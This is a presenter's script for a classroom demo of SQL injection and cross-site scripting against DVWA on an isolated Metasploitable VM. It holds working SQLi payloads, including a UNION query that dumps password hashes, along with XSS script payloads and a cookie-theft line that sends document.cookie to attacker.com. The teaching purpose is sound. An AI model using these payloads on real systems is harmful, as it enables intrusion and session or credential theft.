DVWA Practical Walkthrough — SQLi & XSS (Metasploitable)

Setup reminder for the audience (say this out loud before you start):

> "DVWA is deliberately broken. I'm running it on Metasploitable, which is an intentionally vulnerable VM, isolated from the internet, only for learning. Never do this against a site you don't own or have written permission to test."

---

0. Before you go live — environment check

1. Start Metasploitable VM, note its IP (`ifconfig` inside the VM, or check your hypervisor).
2. In your browser, go to `http://<metasploitable-ip>/dvwa/login.php`.
3. Log in — default DVWA creds are `admin` / `password`.
4. Go to **DVWA Security** (left sidebar) → set security level to **Low** → click **Submit**.
   - **Say to audience:** "Low means no input filtering at all — this is the 'before' picture. Later I'll flip this to Medium to show what changes."
5. Go to **Setup / Reset DB** page once if the database looks empty, click **Create / Reset Database**.

Keep this page open in one tab. Have a second tab ready for comparison if you want to show DVWA's source code view (there's a "View Source" button on every module — great for showing *why* the payload works).

PART A — SQL Injection module

Navigate: left sidebar → **SQL Injection**

You'll see a single field: **User ID**, with a Submit button.

Step 1 — Show normal behavior

Input field → User ID:

```
1
```

Click Submit.

What you'll see: First name and Surname of one user.

Explain to audience (say this now):

> "This page is just running a query behind the scenes that looks like: `SELECT first_name, last_name FROM users WHERE user_id = '1'` Whatever I type goes directly into that query. Watch what happens when I stop typing a 'normal' ID."

Optional: click **View Source** at the bottom of the page right now, and show them the actual PHP line where `$_REQUEST['id']` gets concatenated straight into the SQL string. This is the single most important visual of the whole SQLi segment — it makes the abstract concept concrete.

Step 2 — Break the query with a single quote

Input field → User ID:

```
1'
```

Click Submit.

What you'll see: A SQL error message.

Explain to audience:

> "I didn't 'hack' anything yet — I just broke the query's grammar. That error is actually useful info for an attacker: it confirms the input isn't being sanitized, and it's going straight into SQL."

Step 3 — The classic always-true bypass

Input field → User ID:

```
%' or '0'='0
```

(DVWA's low-security SQLi query uses a `LIKE` with surrounding `%`, so this specific payload matches their official low-level example — it works reliably. A plain `1' OR '1'='1` also works on many setups but this one is DVWA's documented low-level payload.)

Click Submit.

What you'll see: ALL users' first and last names dumped at once, instead of just one.

Explain to audience:

> "I asked for user ID '1', but the database returned everyone. The `OR '0'='0'` part is always true, so the WHERE clause matches every single row. This is the exact same trick that's used to bypass login forms — instead of a user list, imagine this was a password check."

Step 4 — Go further: pull data from a different table (UNION-based)

Input field → User ID:

```
%' UNION SELECT user, password FROM users -- -
```

Click Submit.

What you'll see: Usernames and **password hashes** from DVWA's internal `users` table — a completely different table than the one the page was designed to query.

Explain to audience:

> "This is the part that should worry everyone. I didn't just see more rows from the intended table — I pulled data from a totally different table the page was never meant to expose: usernames and password hashes. This is how real breaches leak millions of credentials at once."

(Optional, if you have time and a hashed password cracking tool ready: show that these are MD5 hashes and can be cracked offline with a tool like `hashcat` or looked up on a hash-lookup site. Only do this if your audience is ready for it — it can be its own 10-minute tangent.)

Step 5 — Show the defense (Medium security)

Go to **DVWA Security** → set to **Medium** → Submit → go back to **SQL Injection**.

Try Step 3's payload again:

```
%' or '0'='0
```

What you'll see: It now fails or behaves differently (Medium level restricts to a dropdown and does basic escaping).

Explain to audience:

> "Medium security here adds some filtering — this is a glimpse of what happens when developers start trying to sanitize input. But band-aid fixes like blacklisting characters are fragile. The real fix, which I'll explain now, is **parameterized queries** — where the database is told upfront 'this is data, never code,' no matter what's inside it."

PART B — Cross-Site Scripting (XSS)

Navigate: left sidebar → **XSS (Reflected)**

Step 1 — Normal use

Input field → What's your name?:

```
Alex
```

Click Submit.

What you'll see: "Hello Alex"

Explain to audience:

> "Totally normal — this page just reflects your name back into the page."

Step 2 — Inject a script

Input field → What's your name?:

```
<script>alert('XSS')</script>
```

Click Submit.

What you'll see: A JavaScript popup box saying "XSS".

Explain to audience:

> "I just got the browser to execute code I wrote, on a page that belongs to this website. The popup is harmless — but imagine instead of `alert()`, this script read your session cookie and sent it to an attacker's server. The attacker could then log in as you, without ever knowing your password."

Click **View Source** here too — show them the PHP line where the name is echoed into the HTML with no escaping (`echo $name` vs. what it *should* be, `echo htmlspecialchars($name)`).

Step 3 — Show why it's called "Reflected"

Point out the URL bar after submitting:

```
http://<ip>/dvwa/vulnerabilities/xss_r/?
name=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E#
```

Explain to audience:

> "Notice the payload is sitting right there in the URL. That's why it's called 'reflected' — the server just bounces it straight back in the response. This means an attacker doesn't need access to the website's database at all — they just need to trick *you* into clicking a malicious link, maybe disguised with a URL shortener, in a phishing email."

Navigate: left sidebar → **XSS (Stored)**

Step 4 — Store a payload permanently

Input fields:

- **Name:** `Alex`
- **Message:**

```
<script>alert('Stored XSS')</script>
```

Click **Sign Guestbook.**

What you'll see: The alert fires immediately — and keeps firing.

Explain to audience:

> "Now watch this part — I'll just refresh the page, without resubmitting anything."

Action: Refresh the page (F5).

What you'll see: The alert pops up again, with no input from you this time.

Explain to audience (this is the key teaching moment of the whole XSS segment):

> "This script is now permanently saved in DVWA's database, inside the guestbook. Every single visitor who views this page from now on will have this code run in *their* browser automatically. This is why Stored XSS is considered far more dangerous than Reflected — one successful injection compromises every future visitor, not just someone who clicks one link."

Step 5 (optional, time permitting) — A more realistic payload

Instead of `alert()`, show one that demonstrates cookie theft conceptually (don't actually exfiltrate anything live — just show the code and explain it):

```html
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</
```

Explain to audience:

> "I'm not going to run this live since it'd need a real attacker server listening, but this is the realistic version: it silently redirects the victim's browser to an attacker-controlled site, carrying along their session cookie as a URL parameter. No popup, no visible sign anything happened."

Timing suggestion (for a ~45–60 min slot)

Segment	Time
Concept intro (data vs code)	5 min
SQLi explanation (slides)	5 min
SQLi live demo (Part A)	10 min
XSS explanation (slides)	5 min
XSS live demo (Part B)	10 min
Defense/mitigation recap	5 min
Q&A	remaining

Presenter tips

- **Type slowly and narrate while you type** — beginners need to see the payload being typed character-by-character at least once, not pasted instantly.
- **Zoom your browser in** (Ctrl/Cmd +) so text and URL bar are readable on screen share.
- Keep a **cheat-sheet tab open** with all payloads pre-typed in a text file so you can copy-paste as backup if live typing goes wrong — but still type at least the first one live for effect.
- If a payload doesn't fire (common gotcha: browsers sometimes cache or block repeat `alert()` popups), refresh fully or try a slightly different message text to bust cache.